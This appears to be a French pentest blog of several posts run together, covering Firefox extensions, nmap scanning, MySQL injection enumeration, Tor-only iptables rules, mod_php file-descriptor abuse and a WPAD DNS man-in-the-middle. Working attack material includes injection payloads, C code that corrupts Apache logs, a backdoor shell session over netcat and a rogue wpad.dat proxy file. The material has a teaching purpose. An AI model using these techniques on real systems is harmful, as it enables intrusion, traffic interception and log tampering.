J’utilise toutes ces extensions dans un profil utilisateur special dédié au pentest, il vaut mieux éviter d’utiliser 15 000 extensions simultanément dans Firefox pour des questions de stabilité/performance/ergonomie.

Cette liste représente quasiment l’intégralité des extensions que j’utilise pour les pentests, il y en a beaucoup moins que dans le catalogue FireCat, mais ça me suffit largement pour faire tout ce que je veux .

• UrlParams

Probablement l’extension dont je me sers le plus souvent, elle permet de modifier rapidement les paramètres GET/POST et le referrer. Ça me permet d’éviter d’avoir à utiliser Burp pour des opérations assez simples comme modifier les données POST.

• Hack Bar

Très pratique pendant l’exploitation des injections SQL, surtout quand les quotes sont bloqués, l’extension vous permet de convertir une chaine de caractère en son équivalent CHAR( ASCII )… Elle contient aussi quelques fonctions d’encodage et de chiffrement bien pratique. Un must have.

• Firebug

Très utilise pour le développement Web et donc très pratique pour le développement des exploits XSS. Je m’en sers principalement pour faire joujou avec la console Javascript, analyser la structure DOM et voir les requêtes javascript XHR faites en arrière-plan.

• Firecookie

Pour jouer avec les cookies.

• Force Content-Type

Très pratique lorsque le navigateur Firefox gère spécifiquement certains types de fichier comme les pdfs ou les fichiers audios, cette extension permet d’afficher directement le fichier en brut dans le navigateur et de ne pas lancer l’application. Utile lorsque l’on trifouille des pages qui génèrent dynamiquement un certain type de fichier.

• Web Developer

Encore une extension pour le développement web, elle est très utile pour effacer ses cookies, afficher les mots de passe en clair, désactiver le chargement des images, voir les commentaires… Il y a vraiment plein d’options très utiles…

• Yes Script

Contrairement à NoScript qui fonctionne sur un système de whitelist (tous les scripts sont bloqués par défaut, il faut les autoriser un par un), YesScript fonctionne sur un système de blacklist. Utile lorsque l’on audite des sites avec des animations Flash et Javascript qui consomme 99% du CPU …

• Foxy Proxy

En plus de permettre de changer rapidement de proxy, FoxyProxy offre la possibilité de choisir un proxy dynamiquement en fonction de l’URL.

• Torbutton

Indispensable lorsque l’on utilise Tor, bloque tous les tricks connus qui permettent de démasquer un utilisateur anonyme (historique, applet Java, Flash…). Bien sûr quand on utilise Tor, il vaut mieux être vraiment sûr que tout passe par Tor.

• Maltego Mesh

À la base Maltego est un outil spécialisé dans la recherche d’informations. Cette extension permet de mettre en évidence certains types d’information affichés sur une page comme des adresses IPs, des emails, des numéros de téléphone, des noms de famille… Bien pratique, cependant, je laisse cette extension désactiver par défaut, elle est instable consomme énormément de CPU.

• Modify Headers

Comme son nom l’indique, elle permet de modifier les en-têtes HTTP. Je me sers rarement de cette extension, je préfère passer par Burp.

• BugMeNot

Cette extension n’est pas vraiment en rapport avec les pentests mais je l’aime bien . bugmenot.com recense des logins/passwords pour des milliers de sites. Elle vous permet de vous identifier en un click sur des sites demandant un compte utilisateur pour accéder à certaines sections… Gros gain de temps

• Autofill Forms

Permet de remplir un profil utilisateur avec des paramètres prédéfinis (adresse email , nom, age, ville…). Fait gagner du temps.

Et voilà, c’est fini, la prochaine je balancerai peut être une liste de bookmarks intéressants…

o For some UDP ports, Nmap will now send a protocol-specific payload
that is more likely to get a response than an empty packet is. This
improves the effectiveness of probes to those ports for host
discovery, and also makes an open port more likely to be classified
open rather than open|filtered. The ports and payloads are defined
in payload.cc. The ports that have a payload are 7 (echo),
53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),
177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),
2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]

Par scan applicatif j’entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu’il reçoit bien une réponse DNS afin de déterminer si le service est open.

Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :

/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.
 
  Some of them are taken from nmap-service-probes.
*/
 
static const char payload_GenericLines[] = "\x0D\x0A\x0D\x0A";
static const char payload_DNSStatusRequest[] =
  "\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00";
static const char payload_RPCCheck[] =
  "\x72\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0"
  "\x00\x01\x97\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00";

C’est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur l’absence de réponse ICMP pour déterminer si un port UDP est open (du moins pour les ports cités dans le changelog).

Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:

pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7
 
Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind
 
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

mysql> SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();
 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    | 
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL | 
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  | 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)

Youpi, la requête nous liste les noms des colonnes, la table et la base de données concernées par la requête ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : Field_name | Min_value | Max_value | ... au lieu de idClient | name | pass. Concrètement, cela veut dire qu’on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table ( $row[0] et pas $row["idClient"] ), ce qui est plutôt rare…

Un autre truc (corrigé sur Mysql 5.1) que j’ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l’on a découvert le nom de la table on peut tester un truc dans le genre :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);
 
ERROR 1241 (21000): Operand should contain 3 column(s)

Youpi car ça nous retourne le nombre de colonnes, mais c’est maintenant que ça devient intéressant, toujours à l’aide des messages d’erreurs on va pouvoir lister le nom de chacune d’entre elles :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);
 
"Column 'idClient' cannot be null"

Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l’attribut NOT NULL

Bon allez, j’arrête de donner des petits trucs foireux, passons aux choses sérieuses avec ce script maison en PERL qui cherche les noms des tables à partir d’une wordlist :

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
 
[*] Table found : client
 
pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
 
[*] Column found : name
[*] Column found : pass

Je me suis pas pris la tete pour dev le script, il faut bidouiller le code pour personnaliser l’attaque en fonction l’injection… J’espère que vous comprendrez, sinon tant pis

Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).

Passez de joyeuses fêtes !

Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s’assurer qu’elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c’est à dire en autorisant uniquement les connexions du processus tor via un firewall. Voici comment faire avec iptables.

Tout d’abord, il est nécessaire de créer un utilisateur pour tor et d’exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l’utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration torrc :

User tor

Ensuite il nous reste à configurer iptables :

# Vide les règles déjà présentes
iptables -F INPUT
iptables -F OUTPUT
 
# Bloque tout par défaut
iptables -P INPUT DROP
iptables -P OUTPUT DROP
 
# Autorise toutes les connexions locales
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
 
# Autorise uniquement les processus de l'utilisateur tor à établir des connexions
iptables -A OUTPUT -m owner --uid-owner tor -j ACCEPT
 
# Accepte uniquement les connexions que l'on a initiées
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
 
# Sauvegarde le tout 
iptables-save > /etc/iptables/tor

Et voilà, lors de l’utilisation de Tor on pourra mettre en place ces règles iptables afin d’être sur de communiquer uniquement via ce réseau.

iptables-restore < /etc/iptables/tor

Le mod_php ne ferme pas les descripteurs de fichiers dont il a hérité avant d’exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l’on exécute le code suivant :

<?php
    print posix_getpid()."\n";
    flush();
    sleep(30);    
?>

Et que l’on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :

root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -> /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -> /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -> socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -> /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -> socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -> socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -> /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -> /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -> /var/log/apache2/access.log
 
root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode

On peut voir que le processus en cours, qui n’est rien d’autre qu’un simple script php exécuté avec les droits d’Apache, possède des descripteurs de fichiers des logs Apache ouverts en écriture, un descripteur sur le socket en écoute sur le port 80…

Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP autorise par défaut des fonctions permettant d’exécuter un fichier binaire ( la fonction system() par exemple) .

Le code suivant permet d’écrire n’importe quoi dans tous les logs Apache :

int main(int argc,char * argv[]){
    int fd;
    int flag,accmode,val;
    struct stat fileinfo;
    char buffer[1024] = "AAAAA";
    int count;
 
    for (fd=0; fd<getdtablesize(); fd++) {
        memset(&fileinfo, 0,sizeof(fileinfo));
        if(!fstat(fd, &fileinfo)){
            if( S_ISREG(fileinfo.st_mode)){
                if( (flag = fcntl(fd, F_GETFL)) != -1 && (flag & O_WRONLY) ){
                    if( (count = write(fd, buffer, 5)) == -1)
                        printf( "%s ",strerror(errno));
                    else
                        printf(" %d ",count);
                }
                printf("\n");
            }                
        }
    }
    return 1;
}

Déterminer clairement quel est le fichier de log ouvert à partir d’un descripteur de fichier reste difficile, on obtient facilement l’inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possédent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.

J’étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en Write Only et il semble impossible de changer ce mode en Lecture / Ecriture sur un déscripteur de fichier ( man fcntl )… On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à un admin level 70 ).

Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir ici une preuve de concept monstrueuse que j’ai découverte sur un bug report de php.net. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.

La meilleure utilisation de cette vulnérabilité reste la backdoor PHP find-sock-shell de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu’une banale r57shell ou autre c99.

$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
 
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...

Longue vie à PHP.

Dans le même genre je connaissais wyd.pl mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu’avec Cewl tout est fait en une seule ligne de commande (même s’il faudra faire un peu le ménage à coup de grep/diff/comm).

Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme metagoofil et theharverster qui utilise les moteurs de recherche).

Bon voici comment ça marche :

pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt 
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie

Facile non ? Bon j’ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d’une longueur > 20.

Pour les feignants(noob?) comme moi qui ne jurent que par apt-get, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de gem install lib_ruby, elles sont installées dans /var/lib/gems/1.8/gems/nom_de_la_lib/lib/ alors que le path des librairies ruby est /usr/lib/ruby/1.8/nom_de_la_lib sur Ubuntu.

• Offensive security : Le tout nouveau clone de milw0rm, espérons que ses créateurs puissent tenir la cadence.
• Metasploit : On ne le présente plus, principalement orienté système et réseaux, il contient peu d’exploits web. svn update régulier indispensable pour le tenir à jour.
• Security Focus : Il s’agit plus d’une base de vulnérabilités que d’une liste d’exploits, cependant les exploits y restent nombreux.
• Packet Storm Security : Packetstorm est principalement connu pour ses petits scripts/tools de hacking mais le site tient également une base d’exploit et un fil RSS dédié à celle-ci.
• sebug : J’ai découvert ce site hier, pas mal d’exploits dessus, mais aussi beaucoup de vulns.
• Security Reason : Un site avec plusieurs flux RSS, dont un dédié aux derniers exploits. Ils ont d’ailleurs publié récemment un exploit bypass openbase_dir php drôlement sympathique .
• Bugtraq : Une mailing list, elle est intégrée au fil RSS de securityfocus on y retrouve principalement des annonces de correctifs de la part des éditeurs, mais il y a parfois des exploits.
• Full Disclosure : Encore une mailing list, cette fois-ci avec beaucoup de trolls et quelques exploits 0day de temps en temps. Il y a parfois tellement de trolls que l’on peut passer à coté de ces petites perles .

On peut ajouter à cette liste l’Open Source Vulnerability Database, le Common Vulnerabilities Exposures et la National Vulnerability Database qui recensent toutes les vulnérabilités existantes des logiciels et parfois des liens vers des exploits.

Bien entendu cette liste n’est pas exhaustive, si vous connaissez d’autres sites qui valent le coup n’hésitez pas à les signaler en commentaire.

• WPAD et DNS

Dans une configuration par défaut, le serveur DNS d’un domaine fait assez confiance aux machines et aux utilisateurs de la forêt pour les autoriser à ajouter un enregistrement au sein de la zone du domaine. Cela signifie qu’un utilisateur ou une machine du domaine peut associer un nom (inclus dans la hiérarchie domaine) à n’importe quelle ip.

Si le domaine est mondomaine.local, une machine ne peut ajouter l’enregistrement banque.com, par contre elle peut ajouter pc1.mondomaine.local .

Il est également impossible d’écraser un enregistrement qui ne vous appartient pas. Les enregistrements sont des objets, ils sont détenus par des utilisateurs et possèdent des droits d’accès.

Les noms de machine WPAD et ISATAP sont particulièrement intéressants. Il est possible de les utiliser afin de mener des attaques de type Man In The Middle. ISATAP sert de tunnel ipv6 over ipv4. WPAD est la machine qui détient le fichier de configuration automatique du proxy pour les navigateurs MSIE, nous allons nous concentrer sur cette dernière.

Lorsque les navigateurs Internet Explorer du domaine sont configurés de manière à détecter automatiquement les paramètres de connexions, ils vont chercher un serveur nommé WPAD pour y récupérer un fichier de configuration qui va déterminer quel proxy utiliser. S’ils ne trouvent pas ce serveur, ils se connecteront directement à Internet.

Si un attaquant réussit à usurper le nom de ce serveur, il pourra proposer son fichier de configuration et forcer les utilisateurs à utiliser le proxy de son choix.

Note : Il existe un autre moyen pour configurer automatiquement le proxy d’un navigateur via le protocole DHCP. Il s’agit d’une autre fonctionnalité, ici nous nous concentrerons sur l’attaque via l’utilisation d’un enregistrement DNS.

• Mise en place de l’attaque

Pour réaliser cette attaque, le nom WPAD ne doit pas déjà être enregistré sur le serveur DNS (nous ne disposons pas des droits nécessaires pour l’écraser).

Mettre en place le fichier de configuration automatique du proxy
Le fichier de configuration doit être en place sur le serveur HTTP de la machine WPAD. Il doit être mis à la racine sous le nom de wpad.dat et doit contenir l’adresse ip du proxy de l’attaquant. Voici sa structure :

function FindProxyForUrl(url, host){
 
	return "PROXY 192.168.10.14:8080";
 
}

Créer l’enregistrement WPAD
Si l’on possède un compte administrateur local sur une machine du domaine, il faut renommer cette dernière en WPAD. L’association du nom WPAD <=> ip de la machine devrait s’enregistrer automatiquement dans le serveur DNS (via le protocole DHCP). Si ce n’est pas le cas, il faut utiliser la commande : ipconfig /registerdns.

Si l’on possède un compte utilisateur sur le domaine, on peut ajouter l’enregistrement WPAD à partir de n’importe quelle machine du domaine. L’avantage de procéder avec cette méthode est que l’enregistrement pourra pointer vers n’importe quelle ip. Pour cela on utilise dnsfun.

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[-] Record not found
 
C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -c wpad.tp3.local  -u 19
2.168.10.14
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Creating DNS A Record for wpad.tp3.local (192.168.10.14)
[+] Host Created. Rechecking Record...
[+] Host wpad.tp3.local resolved as 192.168.10.14
 
C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[+] Host wpad.tp3.local resolved as 192.168.10.14

Le propriétaire de l’enregistrement DNS sera différent en fonction de la méthode utilisée : avec la première méthode, le compte machine WPAD$ sera le propriétaire, avec la deuxième, c’est l’utilisateur qui sera le propriétaire de l’enregistrement.

• Le patch ms09-008

La publication du patch ms09-008 a fait couler beaucoup d’encre, selon certaines personnes, le patch en question ne corrigerait pas totalement la vulnérabilité. Microsoft dément et considère l’enregistrement automatique du nom WPAD comme une fonctionnalité, non comme une vulnérabilité.

Le patch a pour effet de désactiver la fonctionnalité WPAD si elle n’est pas utilisée.

Lors de l’application du patch, ce dernier va détecter si un enregistrement WPAD (ou ISATAP) est déjà présent dans le serveur DNS. Si aucun enregistrement n’est présent, le patch va créer une clef de registre qui va avoir pour effet d’empêcher la résolution du nom WPAD.

Cela signifie que, si un administrateur (ou un pirate) ajoute un enregistrement WPAD après l’application du patch, il devra également supprimer la clef de registre bloquant la résolution WPAD. Sinon le nom ne sera pas résolu.

Si le nom WPAD est déjà présent dans le serveur DNS lors de l’application du correctif, le patch ne bloque pas la résolution du nom. Cela est dû au fait que le correctif ne peut pas déterminer de lui-même si l’enregistrement en question est légitime ou non.

Il est vrai qu’une fonctionnalité permettant à un utilisateur lambda d’associer le nom WPAD à n’importe quelle adresse ip laisse à désirer, on aurait préféré un patch interdisant l’enregistrement automatique du nom WPAD ou ISATAP.

• Exécuter nmap en root

A la base, on pourrait croire que la seule raison valable pour exécuter nmap en root est pour profiter du scan SYN -sS plus rapide et plus discret que le scan connect -sC. En réalité, il existe une autre option que l’on utilise très souvent avec nmap et qui nécessite des droits privilégiés pour fonctionner efficacement: le ping -sP .

Lorsque l’on effectue un ping -sP en root, nmap va envoyer un paquet TCP SYN sur le port 80, puis un paquet ICMP “echo request”. Si la cible répond à un des deux paquets, elle sera considérée online.

Cependant, si utilisateur classique effectue un -sP, seul un paquet TCP SYN sera envoyé, pas de ping ICMP. Pour peu que le firewall drop les paquets vers le port 80, et on ne détectera pas l’hôte !

Il y a encore un autre cas où le ping ICMP n’est pas effectué lors d’un scan, si l’on spécifie l’option -PU ou -PS (options indiquant les ports UDP/TCP à utiliser pour le ping) alors il faut explicitement spécifier l’option -PE pour envoyer un ping ICMP.

• Gagner du temps lors des scans

Utiliser les options -PU/-PS/-PE plutôt qu’un scan -PN/-P0

L’option -PN effectue un scan de port en considérant que la cible est online, même si elle n’a pas répondu au ping. Le simple fait de scanner un réseau /24 sur 1000 ports en -PN est déjà très long.

Une alternative pourrait être de pinger la cible sur une dizaine, voire une vingtaine de ports très courants, puis déclencher un scan sur les 1000 ports seulement si au moins un des ports a répondu au ping. Par exemple :

root@hacktop:~# nmap -PS21-23,25,80,135-139,443 -PU53,68,161 -sU -sS --top-ports 1000 10.0.0.0/24 --reason
 
Interesting ports on 10.0.0.13:
Not shown: 1991 closed ports
Reason: 996 resets and 995 port-unreaches
PORT     STATE         SERVICE      REASON
135/tcp  open          msrpc        syn-ack
139/tcp  open          netbios-ssn  syn-ack
445/tcp  open          microsoft-ds syn-ack
912/tcp  open          unknown      syn-ack
123/udp  open|filtered ntp          no-response
137/udp  open|filtered netbios-ns   no-response
138/udp  open|filtered netbios-dgm  no-response
445/udp  open|filtered microsoft-ds no-response
1900/udp open|filtered upnp         no-response
MAC Address: 11:22:33:44:55:66 (Fake Computer)

Cette commande regarde si au moins un des ports TCP 21-23,25,80,135-139,443 (-PS) ou un des ports UDP 53,68,161 (-PU) est ouvert. Si c’est le cas, alors on scan les 1000 ports TCP (-sS) et les 1000 ports UDP (-sU) les plus fréquents (–top-ports).

Attention à l’option -F :

Dans la version stable actuelle de nmap (4.76), l’option Fast -F n’optimise pas vraiment la vitesse du scan de ports, cette option est uniquement relative au nombre de ports scannés. Par défaut nmap scan 1650 ports, avec l’option -F vous scannerez les ports contenus dans nmap-services,soit plus de 1200 ports, ce qui ne fait pas une grosse différence.

Utilisez plutôt la commande –top-ports 100 qui scannera les 100 ports les plus courants. (A noter que dans la version beta actuelle 4.85, l’option -F est égale à un –top-ports 100 ).

Pour avoir une idée des ports les plus fréquents selon nmap :

pierz@hacktop:~$ sort -r -k3 /usr/local/share/nmap/nmap-services  | egrep -v '^#' | grep tcp  | head
http                80/tcp  0.484143        # World Wide Web HTTP
telnet              23/tcp  0.221265
https               443/tcp 0.208669        # secure http (SSL)
ftp                  21/tcp  0.197667        # File Transfer [Control]
ssh                  22/tcp  0.182286        # Secure Shell Login
smtp                25/tcp  0.131314        # Simple Mail Transfer
ms-term-serv    3389/tcp        0.083904        # Microsoft Remote Display Protocol
pop3               110/tcp 0.077142        # PostOffice V.3
microsoft-ds     445/tcp 0.056944        # SMB directly over IP
netbios-ssn      139/tcp 0.050809        # NETBIOS Session Service

Enlever la résolution des noms :

L’option -n permet d’éviter de faire des requêtes DNS PTR, on peut gagner beaucoup de temps si on effectue un simple ping sur une plage d’adresse d’ip, par exemple sur une plage /24 :

root@hacktop:~# nmap -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:30 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (FakeComputer)
Nmap done: 256 IP addresses (3 hosts up) scanned in 28.44 seconds

root@hacktop:~# nmap -n -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:33 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (Fake Computer)
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.44 seconds.

Attention à l’option – -host-timeout :

L’option - -host-timeout, cette option ne règle pas le timeout d’un paquet, mais le temps maximum à passer sur un hôte lors d’un scan.

Régler finement le timeout :

Il est intéressant de régler le timeout de nmap, en particulier lors des scans effectués en -PN ou -P0. Il y a de nombreuses options pour régler finement tous ces paramètres, mais je ne vous conseille pas d’y toucher directement.

Je vous recommande plutôt de vous limiter à l’option -T . Elle permet de choisir un template parmi 5 qui règle l’ensemble des options concernant la vitesse du scan.

Par défaut nmap effectue un scan -T3, si on utilise ce template, les options suivantes seront réglées de cette façon :

• Le timeout d’un paquet est fixé entre 100ms et 10000ms. ( ce qui peut être long).
• Les paquets qui timeouts sont renvoyés entre 1 et 10 fois.

On peut utiliser un template « aggressive » -T4 pour des ips externes (sauf si l’on travaille dans un endroit où l’on a une connexion pourrie):

• Le timeout d’un paquet est fixé entre 500ms et 1250ms.
• Les paquets sont rejoués entre 1 et 6 fois.

Et on effectuera plutôt un scan -T5 sur un réseau local de bonne qualité ( pas du wifi foireux par exemple ) :

• Le timeout d’un paquet est fixé entre 50ms et 300ms.
• Les paquets sont rejoués au maximum 2 fois.
• On ne passe pas plus de 15 minutes sur un hôte.

Ne pas confondre scan agressif -A et template agressif (-T aggressive ou -T5) :

L’option scan agressif -A effectue de nombreuses opérations qui peuvent faire perdre du temps, en plus d’effectuer une détection d’OS (-O) et des services (-sV), elle lance un traceroute ainsi que des scripts d’attaque et des scans de failles (je reviendrai là-dessus plus tard). En plus de faire perdre du temps, ces scripts peuvent avoir des effets non désirés ou être trop intrusifs en fonction du contexte.

• Autres options intéressantes

L’option –resume permet de reprendre un scan interrompu avec CTRL+C si ce dernier a été sauvegardé au format nmap -oN ou greppable -oG (ou encore -oA).

La seule option utile au niveau de l’IDS evasion est celle qui permet de définir le port source -g. On peut l’utiliser afin de contourner certains firewalls mal configurés, on utilisera le port 20 en scan TCP (FTP actif) ou le port 53 (DNS) lors d’un scan UDP -sU.

Il est possible d’effectuer des requêtes DNS PTR via l’option -sL. Cette option permet de faire de la reconnaissance en repérant des hôtes possibles sur une plage d’adresse ip, sans leur envoyer un seul paquet.

Un détail, si vous avez envie de comprendre pourquoi nmap a déterminé si un port était OPEN/FILTRED/CLOSE/… , vous pouvez ajouter l’option –reason .

• Les scripts

Attention, les fonctionnalités suivantes sont intéressantes mais reste peu fiables. Mieux vaut utiliser des outils spécialisés dans la détection de faille (nessus) ou de bruteforce (hydra) pour effectuer ce genre d’attaque.

Grâce aux scripts, nmap peut : récupérer plus d’informations relatives aux ports scannés, effectuer un scan de failles ou encore réaliser des attaques. On peut exécuter les scripts par défaut en utilisant l’option -sC (le scan agressif -A exécute également ces scripts).

Parmi ces attaques on a du bruteforce classique comme telnet, http basic, ftp… Ils peuvent également vérifier si clefs SSH sont vulnérables (debian-opensll ), lister les users,groups,… via SMB sur un windows (null sessions) , tenter un transfert de zone…, bref, plein de choses diverses et variées.

Les scripts sont stockés dans le dossier script du répertoire d’installation de nmap (/usr/local/share/nmap/script par défaut). Jeter un coup d’oeil sur le site pour comprendre comment ça marche.

Voici un petit aperçu :

root@hacktop:/usr/local/share/nmap/scripts# nmap --top-ports 50 --script all localhost
 
Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 17:53 CET
Interesting ports on localhost (127.0.0.1):
Not shown: 47 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
|_ banner: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1\x0D\x0A
|  ssh-hostkey: 1024 be:ff:7f:5f:af:bb:bb:f8:4a:ed:3d:ca:af:01:d6:9a (DSA)
|_ 2048 d3:7b:77:12:57:11:d3:11:ac:fa:1c:80:a3:6f:44:f1 (RSA)
23/tcp open  telnet
|_ banner: \xFF\xFD\x18\xFF\xFD \xFF\xFD#\xFF\xFD'
|_ telnet-brute: telnet - telnet
80/tcp open  http
|_ html-title: Index of /

root@hacktop:/usr/local/share/nmap/scripts# nmap  --script all 10.0.0.10,13
 
Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 18:09 CET
Interesting ports on 10.0.0.10:
Not shown: 984 closed ports
